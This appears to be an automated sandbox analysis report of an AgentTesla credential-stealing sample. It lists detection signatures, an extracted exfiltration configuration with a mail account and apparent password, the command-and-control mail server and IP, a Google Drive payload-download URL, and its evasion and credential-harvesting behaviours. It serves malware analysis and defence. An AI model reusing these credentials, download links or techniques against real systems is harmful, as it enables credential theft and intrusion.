Windows Analysis Report ZAM#U00d3WIENIE.exe

Overview

General Information

Sample Name: ZAM#U00d3WIENIE.exe
Analysis ID: 1634
MD5: 328b34adced9ad8128d4079bcffde016
SHA1: fa03cb6529d634b2e30d042491c0c13e39fd445e
SHA256: 95f59bb24f6c23995b22e40d5ba6785f9072da815451c04f61ee42f42a63089e
Infos:

Most interesting Screenshot:

Detection

AgentTesla
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Found malware configuration
Multi AV Scanner detection for submitted file
Yara detected AgentTesla
Antivirus / Scanner detection for submitted sample
Antivirus detection for URL or domain
Multi AV Scanner detection for domain / URL
Sigma detected: RegAsm connects to smtp port
Hides threads from debuggers
Writes to foreign memory regions
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Tries to detect Any.run
Tries to harvest and steal ftp login credentials
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Tries to steal Mail credentials (via file access)
Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
Tries to harvest and steal browser information (history, passwords, etc)
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Uses 32bit PE files
Queries the volume information (name, serial number etc) of a device
Antivirus or Machine Learning detection for unpacked file
Drops certificate files (DER)
May sleep (evasive loops) to hinder dynamic analysis
Uses code obfuscation techniques (call, push, ret)
Internet Provider seen in connection with other malware
Detected potential crypto function
Sample execution stops while process was sleeping (likely an evasion)
Yara detected Credential Stealer
JA3 SSL client fingerprint seen in connection with other malware
IP address seen in connection with other malware
Contains long sleeps (>= 3 min)
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Sample file is different than original file name gathered from version info
Tries to load missing DLLs
Uses a known web browser user agent for HTTP communication
Detected TCP or UDP traffic on non-standard ports
Checks if the current process is being debugged
Uses SMTP (mail sending)
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Uses Microsoft's Enhanced Cryptographic Provider
Creates a process in suspended mode (likely to inject code)
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Classification

AV Detection:

barindex
Found malware configuration
Source: RegAsm.exe.7904.10.memstrmin Malware Configuration Extractor: Agenttesla {"Exfil Mode": "SMTP", "SMTP Info": "margaridasantos@tccinfaes.comTccBps1427logmail.tccinfaes.comnappiboioffice203@gmail.com"}
Multi AV Scanner detection for submitted file
Source: ZAM#U00d3WIENIE.exe Virustotal: Detection: 39% Perma Link
Antivirus / Scanner detection for submitted sample
Source: ZAM#U00d3WIENIE.exe Avira: detected
Antivirus detection for URL or domain
Source: http://mail.tccinfaes.com Avira URL Cloud: Label: malware
Multi AV Scanner detection for domain / URL
Source: mail.tccinfaes.com Virustotal: Detection: 11% Perma Link
Antivirus or Machine Learning detection for unpacked file
Source: 1.0.ZAM#U00d3WIENIE.exe.400000.0.unpack Avira: Label: TR/AD.Nekark.lqmid

Cryptography:

barindex
Uses Microsoft's Enhanced Cryptographic Provider
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 10_2_1CCC9E40 CryptUnprotectData, 10_2_1CCC9E40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 10_2_1CCCA5C0 CryptUnprotectData, 10_2_1CCCA5C0

Compliance:

barindex
Uses 32bit PE files
Source: ZAM#U00d3WIENIE.exe Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED
Source: unknown HTTPS traffic detected: 142.250.185.174:443 -> 192.168.11.20:49798 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.217.23.97:443 -> 192.168.11.20:49799 version: TLS 1.2

Networking:

barindex
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: CLARANET-ASClaraNETLTDGB CLARANET-ASClaraNETLTDGB
JA3 SSL client fingerprint seen in connection with other malware
Source: Joe Sandbox View JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 188.93.227.195 188.93.227.195
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: GET /uc?export=download&id=1FviMSiMRSfWOgPLBlxlGQKvgWlfpijyY HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: drive.google.comCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/sr59ucabjssv5b6sasjsuoolj4ev8erp/1634114925000/00014782062933200622/*/1FviMSiMRSfWOgPLBlxlGQKvgWlfpijyY?e=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoCache-Control: no-cacheHost: doc-0c-88-docs.googleusercontent.comConnection: Keep-Alive
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.11.20:49801 -> 188.93.227.195:587
Uses SMTP (mail sending)
Source: global traffic TCP traffic: 192.168.11.20:49801 -> 188.93.227.195:587
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: RegAsm.exe, 0000000A.00000002.47770968136.000000001DFE6000.00000004.00000001.sdmp String found in binary or memory: subdomain_match":["go","tv"]},{"applied_policy":"EdgeUA","domain":"video.zhihu.com"},{"applied_policy":"ChromeUA","domain":"la7.it"},{"applied_policy":"ChromeUA","domain":"ide.cs50.io"},{"applied_policy":"ChromeUA","domain":"moneygram.com"},{"applied_policy":"ChromeUA","domain":"blog.esuteru.com"},{"applied_policy":"ChromeUA","domain":"online.tivo.com","path_match":["/start"]},{"applied_policy":"ChromeUA","domain":"smallbusiness.yahoo.com","path_match":["/businessmaker"]},{"applied_policy":"ChromeUA","domain":"jeeready.amazon.in","path_match":["/home"]},{"applied_policy":"ChromeUA","domain":"abc.com"},{"applied_policy":"ChromeUA","domain":"mvsrec738.examly.io"},{"applied_policy":"ChromeUA","domain":"myslate.sixphrase.com"},{"applied_policy":"ChromeUA","domain":"search.norton.com","path_match":["/nsssOnboarding"]},{"applied_policy":"ChromeUA","domain":"checkdecide.com"},{"applied_policy":"ChromeUA","domain":"virtualvisitlogin.partners.org"},{"applied_policy":"ChromeUA","domain":"carelogin.bryantelemedicine.com"},{"applied_policy":"ChromeUA","domain":"providerstc.hs.utah.gov"},{"applied_policy":"ChromeUA","domain":"applychildcaresubsidy.alberta.ca"},{"applied_policy":"ChromeUA","domain":"elearning.evn.com.vn","path_match":["/login"]},{"applied_policy":"ChromeUA","domain":"telecare.keckmedicine.org"},{"applied_policy":"ChromeUA","domain":"authoring.amirsys.com","path_match":["/login"]},{"applied_policy":"ChromeUA","domain":"elearning.seabank.com.vn","path_match":["/login"]},{"applied_policy":"ChromeUA","domain":"app.fields.corteva.com","path_match":["/login"]},{"applied_policy":"ChromeUA","domain":"gsq.minornet.com"},{"applied_policy":"ChromeUA","domain":"shop.lic.co.nz"},{"applied_policy":"ChromeUA","domain":"telehealthportal.uofuhealth.org"},{"applied_policy":"ChromeUA","domain":"portal.centurylink.com"},{"applied_policy":"ChromeUA","domain":"visitnow.org"},{"applied_policy":"ChromeUA","domain":"www.hotstar.com","path_match":["/in/subscribe/payment/methods/dc","/in/subscribe/payment/methods/cc"]},{"applied_policy":"ChromeUA","domain":"tryca.st","path_match":["/studio","/publisher"]},{"applied_policy":"ChromeUA","domain":"telemost.yandex.ru"},{"applied_policy":"ChromeUA","domain":"astrogo.astro.com.my"},{"applied_policy":"ChromeUA","domain":"airbornemedia.gogoinflight.com"},{"applied_policy":"ChromeUA","domain":"itoaxaca.mindbox.app"},{"applied_policy":"ChromeUA","domain":"app.classkick.com"},{"applied_policy":"ChromeUA","domain":"exchangeservicecenter.com","path_match":["/freeze"]},{"applied_policy":"ChromeUA","domain":"bancodeoccidente.com.co","path_match":["/portaltransaccional"]},{"applied_policy":"ChromeUA","domain":"better.com"},{"applied_policy":"IEUA","domain":"bm.gzekao.cn","path_match":["/tr/webregister/"]},{"applied_policy":"ChromeUA","domain":"scheduling.care.psjhealth.org","path_match":["/virtual"]},{"applied_policy":"ChromeUA","domain":"salud.go.cr"},{"applied_policy":"ChromeUA","domain":"learning.chungdahm.com"},{"applied_policy":"C
Source: RegAsm.exe, 0000000A.00000002.47770259316.000000001DF51000.00000004.00000001.sdmp String found in binary or memory: http://127.0.0.1:HTTP/1.1
Source: RegAsm.exe, 0000000A.00000002.47770259316.000000001DF51000.00000004.00000001.sdmp String found in binary or memory: http://DynDns.comDynDNS
Source: RegAsm.exe, 0000000A.00000002.47770259316.000000001DF51000.00000004.00000001.sdmp String found in binary or memory: http://PBlDXJ.com
Source: RegAsm.exe, 0000000A.00000002.47771610172.000000001E06B000.00000004.00000001.sdmp String found in binary or memory: http://cps.letsencrypt.org0
Source: RegAsm.exe, 0000000A.00000002.47759222438.0000000001060000.00000004.00000020.sdmp String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: RegAsm.exe, 0000000A.00000002.47759222438.0000000001060000.00000004.00000020.sdmp String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: RegAsm.exe, 0000000A.00000002.47776987806.0000000020050000.00000004.00000001.sdmp String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: RegAsm.exe, 0000000A.00000002.47776987806.0000000020050000.00000004.00000001.sdmp String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/enY
Source: RegAsm.exe, 0000000A.00000002.47770968136.000000001DFE6000.00000004.00000001.sdmp, RegAsm.exe, 0000000A.00000002.47771832684.000000001E096000.00000004.00000001.sdmp, RegAsm.exe, 0000000A.00000003.44277086950.00000000011B1000.00000004.00000001.sdmp String found in binary or memory: http://fO3rkfp1rVsTw1Nq.net
Source: RegAsm.exe, 0000000A.00000002.47770968136.000000001DFE6000.00000004.00000001.sdmp String found in binary or memory: http://fO3rkfp1rVsTw1Nq.nett-ql
Source: RegAsm.exe, 0000000A.00000002.47771610172.000000001E06B000.00000004.00000001.sdmp String found in binary or memory: http://mail.tccinfaes.com
Source: RegAsm.exe, 0000000A.00000002.47771610172.000000001E06B000.00000004.00000001.sdmp String found in binary or memory: http://r3.i.lencr.org/0)
Source: RegAsm.exe, 0000000A.00000002.47771610172.000000001E06B000.00000004.00000001.sdmp String found in binary or memory: http://r3.o.lencr.org0
Source: RegAsm.exe, 0000000A.00000002.47771610172.000000001E06B000.00000004.00000001.sdmp String found in binary or memory: http://tccinfaes.com
Source: RegAsm.exe, 0000000A.00000002.47771610172.000000001E06B000.00000004.00000001.sdmp String found in binary or memory: http://x1.c.lencr.org/0
Source: RegAsm.exe, 0000000A.00000002.47776987806.0000000020050000.00000004.00000001.sdmp, RegAsm.exe, 0000000A.00000002.47759222438.0000000001060000.00000004.00000020.sdmp, 2D85F72862B55C4EADD9E66E06947F3D0.10.dr String found in binary or memory: http://x1.i.lencr.org/
Source: RegAsm.exe, 0000000A.00000002.47771610172.000000001E06B000.00000004.00000001.sdmp String found in binary or memory: http://x1.i.lencr.org/0
Source: RegAsm.exe, 0000000A.00000003.43346811095.0000000001070000.00000004.00000001.sdmp String found in binary or memory: https://csp.withgoogle.com/csp/drive-explorer/
Source: RegAsm.exe, 0000000A.00000002.47758953442.000000000102D000.00000004.00000020.sdmp String found in binary or memory: https://doc-0c-88-docs.googleusercontent.com/
Source: RegAsm.exe, 0000000A.00000002.47758953442.000000000102D000.00000004.00000020.sdmp String found in binary or memory: https://doc-0c-88-docs.googleusercontent.com/&
Source: RegAsm.exe, 0000000A.00000003.43350525856.0000000001070000.00000004.00000001.sdmp String found in binary or memory: https://doc-0c-88-docs.googleusercontent.com/docrO
Source: RegAsm.exe, 0000000A.00000003.43346811095.0000000001070000.00000004.00000001.sdmp String found in binary or memory: https://doc-0c-88-docs.googleusercontent.com/docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/sr59ucab
Source: RegAsm.exe, 0000000A.00000002.47758636783.0000000000FE8000.00000004.00000020.sdmp String found in binary or memory: https://drive.google.com/
Source: RegAsm.exe, 0000000A.00000002.47758636783.0000000000FE8000.00000004.00000020.sdmp String found in binary or memory: https://drive.google.com/uc?export=download&id=1FviMSiMRSfWOgPLBlxlGQKvgWlfpijyY
Source: RegAsm.exe, 0000000A.00000003.43346811095.0000000001070000.00000004.00000001.sdmp String found in binary or memory: https://drive.google.com/uc?export=download&id=1FviMSiMRSfWOgPLBlxlGQKvgWlfpijyYKXe3C2iZ68gCJpLiE
Source: RegAsm.exe, 0000000A.00000002.47758636783.0000000000FE8000.00000004.00000020.sdmp String found in binary or memory: https://drive.google.com/uc?export=download&id=1FviMSiMRSfWOgPLBlxlGQKvgWlfpijyYr5
Source: RegAsm.exe, 0000000A.00000002.47758479429.0000000000F50000.00000004.00000001.sdmp String found in binary or memory: https://drive.google.com/uc?export=download&id=1FviMSiMRSfWOgPLBlxlGQKvgWlfpijyYwininet.dllMozilla/5
Source: RegAsm.exe, 0000000A.00000002.47770259316.000000001DF51000.00000004.00000001.sdmp, RegAsm.exe, 0000000A.00000002.47776226547.000000001E454000.00000004.00000001.sdmp String found in binary or memory: https://login.live.com/
Source: RegAsm.exe, 0000000A.00000002.47770259316.000000001DF51000.00000004.00000001.sdmp String found in binary or memory: https://login.live.com//
Source: RegAsm.exe, 0000000A.00000002.47770259316.000000001DF51000.00000004.00000001.sdmp String found in binary or memory: https://login.live.com/https://login.live.com/
Source: RegAsm.exe, 0000000A.00000002.47770259316.000000001DF51000.00000004.00000001.sdmp String found in binary or memory: https://login.live.com/v104
Source: RegAsm.exe, 0000000A.00000002.47776226547.000000001E454000.00000004.00000001.sdmp String found in binary or memory: https://support.google.com/chrome/?p=plugin_flash
Source: RegAsm.exe, 0000000A.00000002.47770259316.000000001DF51000.00000004.00000001.sdmp String found in binary or memory: https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip%tordir%%ha
Source: unknown DNS traffic detected: queries for: drive.google.com
Source: global traffic HTTP traffic detected: GET /uc?export=download&id=1FviMSiMRSfWOgPLBlxlGQKvgWlfpijyY HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: drive.google.comCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/sr59ucabjssv5b6sasjsuoolj4ev8erp/1634114925000/00014782062933200622/*/1FviMSiMRSfWOgPLBlxlGQKvgWlfpijyY?e=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoCache-Control: no-cacheHost: doc-0c-88-docs.googleusercontent.comConnection: Keep-Alive
Source: unknown HTTPS traffic detected: 142.250.185.174:443 -> 192.168.11.20:49798 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.217.23.97:443 -> 192.168.11.20:49799 version: TLS 1.2

E-Banking Fraud:

barindex
Drops certificate files (DER)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File created: C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D Jump to dropped file

System Summary:

barindex
Uses 32bit PE files
Source: ZAM#U00d3WIENIE.exe Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED
Detected potential crypto function
Source: C:\Users\user\Desktop\ZAM#U00d3WIENIE.exe Code function: 1_2_004016FE 1_2_004016FE
Source: C:\Users\user\Desktop\ZAM#U00d3WIENIE.exe Code function: 1_2_0040174B 1_2_0040174B
Source: C:\Users\user\Desktop\ZAM#U00d3WIENIE.exe Code function: 1_2_0040150F 1_2_0040150F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 10_2_00CC1130 10_2_00CC1130
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 10_2_00CCBA58 10_2_00CCBA58
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 10_2_00CC3A50 10_2_00CC3A50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 10_2_00CC4320 10_2_00CC4320
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 10_2_00CCC7B8 10_2_00CCC7B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 10_2_00CC3708 10_2_00CC3708
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 10_2_00CD55B0 10_2_00CD55B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 10_2_00CD5F77 10_2_00CD5F77
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 10_2_00CD0040 10_2_00CD0040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 10_2_00CD6147 10_2_00CD6147
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 10_2_00CDA300 10_2_00CDA300
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 10_2_00CD7978 10_2_00CD7978
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 10_2_00D26D90 10_2_00D26D90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 10_2_00D207E0 10_2_00D207E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 10_2_012E9937 10_2_012E9937
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 10_2_012EC3A5 10_2_012EC3A5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 10_2_012E4EB0 10_2_012E4EB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 10_2_012EF2E8 10_2_012EF2E8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 10_2_012E3330 10_2_012E3330
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 10_2_012ED7A8 10_2_012ED7A8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 10_2_1CCCE4E8 10_2_1CCCE4E8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 10_2_1CCC2ADD 10_2_1CCC2ADD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 10_2_1CCCBAA0 10_2_1CCCBAA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 10_2_1CCC6E00 10_2_1CCC6E00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 10_2_1CCCB1F8 10_2_1CCCB1F8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 10_2_1CCC7548 10_2_1CCC7548
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 10_2_1CCCCA98 10_2_1CCCCA98
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 10_2_1CCC7648 10_2_1CCC7648
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 10_2_1DDB5E08 10_2_1DDB5E08
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 10_2_1DDB4ACC 10_2_1DDB4ACC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 10_2_1DDB5D20 10_2_1DDB5D20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 10_2_1DDB6AD1 10_2_1DDB6AD1
Sample file is different than original file name gathered from version info
Source: ZAM#U00d3WIENIE.exe, 00000001.00000000.42712268826.0000000000417000.00000002.00020000.sdmp Binary or memory string: OriginalFilenameENSARTET.exe vs ZAM#U00d3WIENIE.exe
Source: ZAM#U00d3WIENIE.exe Binary or memory string: OriginalFilenameENSARTET.exe vs ZAM#U00d3WIENIE.exe
Tries to load missing DLLs
Source: C:\Users\user\Desktop\ZAM#U00d3WIENIE.exe Section loaded: edgegdi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: sfc.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: edgegdi.dll Jump to behavior
Source: ZAM#U00d3WIENIE.exe Virustotal: Detection: 39%
Source: ZAM#U00d3WIENIE.exe Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: C:\Users\user\Desktop\ZAM#U00d3WIENIE.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: C:\Users\user\Desktop\ZAM#U00d3WIENIE.exe Section loaded: C:\Windows\SysWOW64\msvbvm60.dll Jump to behavior
Source: unknown Process created: C:\Users\user\Desktop\ZAM#U00d3WIENIE.exe 'C:\Users\user\Desktop\ZAM#U00d3WIENIE.exe'
Source: C:\Users\user\Desktop\ZAM#U00d3WIENIE.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe 'C:\Users\user\Desktop\ZAM#U00d3WIENIE.exe'
Source: C:\Users\user\Desktop\ZAM#U00d3WIENIE.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe 'C:\Users\user\Desktop\ZAM#U00d3WIENIE.exe'
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\ZAM#U00d3WIENIE.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe 'C:\Users\user\Desktop\ZAM#U00d3WIENIE.exe' Jump to behavior
Source: C:\Users\user\Desktop\ZAM#U00d3WIENIE.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe 'C:\Users\user\Desktop\ZAM#U00d3WIENIE.exe' Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File created: C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D Jump to behavior
Source: C:\Users\user\Desktop\ZAM#U00d3WIENIE.exe File created: C:\Users\user\AppData\Local\Temp\~DF7B2EBF754B6A6AD7.TMP Jump to behavior
Source: classification engine Classification label: mal100.spre.troj.spyw.evad.winEXE@6/3@4/3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File read: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\e4a1c9189d2b01f018b953e46c80d120\mscorlib.ni.dll Jump to behavior
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5172:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5172:304:WilStaging_02
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Jump to behavior

Data Obfuscation:

barindex
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\Desktop\ZAM#U00d3WIENIE.exe Code function: 1_2_00403A41 push ds; ret 1_2_00403A44
Source: C:\Users\user\Desktop\ZAM#U00d3WIENIE.exe Code function: 1_2_0040347B push edx; iretd 1_2_004034AA
Source: C:\Users\user\Desktop\ZAM#U00d3WIENIE.exe Code function: 1_2_00404C38 push 0000002Fh; ret 1_2_00404C3A
Source: C:\Users\user\Desktop\ZAM#U00d3WIENIE.exe Code function: 1_2_00403EDB push ss; ret 1_2_00403EDC
Source: C:\Users\user\Desktop\ZAM#U00d3WIENIE.exe Code function: 1_2_004042EE push ds; ret 1_2_00404308
Source: C:\Users\user\Desktop\ZAM#U00d3WIENIE.exe Code function: 1_2_004060F5 push ds; ret 1_2_004060F8
Source: C:\Users\user\Desktop\ZAM#U00d3WIENIE.exe Code function: 1_2_00405E83 push ebx; iretd 1_2_00405EA4
Source: C:\Users\user\Desktop\ZAM#U00d3WIENIE.exe Code function: 1_2_004056A7 push ds; ret 1_2_004056B8
Source: C:\Users\user\Desktop\ZAM#U00d3WIENIE.exe Code function: 1_2_004044B9 push ebp; iretd 1_2_004044BA
Source: C:\Users\user\Desktop\ZAM#U00d3WIENIE.exe Code function: 1_2_00403955 push ds; ret 1_2_00403960
Source: C:\Users\user\Desktop\ZAM#U00d3WIENIE.exe Code function: 1_2_00404367 push edx; ret 1_2_00404368
Source: C:\Users\user\Desktop\ZAM#U00d3WIENIE.exe Code function: 1_2_00405B03 push ds; retf 1_2_00405B10
Source: C:\Users\user\Desktop\ZAM#U00d3WIENIE.exe Code function: 1_2_0040413E push ss; iretd 1_2_00404148
Source: C:\Users\user\Desktop\ZAM#U00d3WIENIE.exe Code function: 1_2_004069F1 push ds; iretd 1_2_00406A20
Source: C:\Users\user\Desktop\ZAM#U00d3WIENIE.exe Code function: 1_2_0040419B push ss; iretd 1_2_00404148
Source: C:\Users\user\Desktop\ZAM#U00d3WIENIE.exe Code function: 1_2_0040539E push 00000033h; ret 1_2_004053A0
Source: C:\Users\user\Desktop\ZAM#U00d3WIENIE.exe Code function: 1_2_023B2669 push ebx; iretd 1_2_023B266B
Source: C:\Users\user\Desktop\ZAM#U00d3WIENIE.exe Code function: 1_2_023B084A push ss; iretd 1_2_023B0857
Source: C:\Users\user\Desktop\ZAM#U00d3WIENIE.exe Code function: 1_2_023B4ACE push eax; ret 1_2_023B4AD0
Source: C:\Users\user\Desktop\ZAM#U00d3WIENIE.exe Code function: 1_2_023B557A push ds; retf 1_2_023B557B
Source: C:\Users\user\Desktop\ZAM#U00d3WIENIE.exe Code function: 1_2_023B457D push eax; retf 1_2_023B457C
Source: C:\Users\user\Desktop\ZAM#U00d3WIENIE.exe Code function: 1_2_023B4561 push eax; retf 1_2_023B457C
Source: C:\Users\user\Desktop\ZAM#U00d3WIENIE.exe Code function: 1_2_023B31B4 push ecx; retf 1_2_023B3244
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 10_2_00CDB838 push ebx; retf 10_2_00CDC186
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 10_2_00CDC178 push ebx; retf 10_2_00CDC186
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 10_2_00CDBBA0 push ebx; retf 10_2_00CDBBCE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 10_2_00D21918 push ds; ret 10_2_00D21A0F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 10_2_00D230B1 push BBD81CD0h; retf 10_2_00D230BE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 10_2_00DBC1D8 push ds; retf 10_2_00DBC1DA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 10_2_00DBC1FC push ds; retf 10_2_00DBC1FE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 10_2_00DBC1F0 push ds; retf 10_2_00DBC1F2

Hooking and other Techniques for Hiding and Protection:

barindex
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
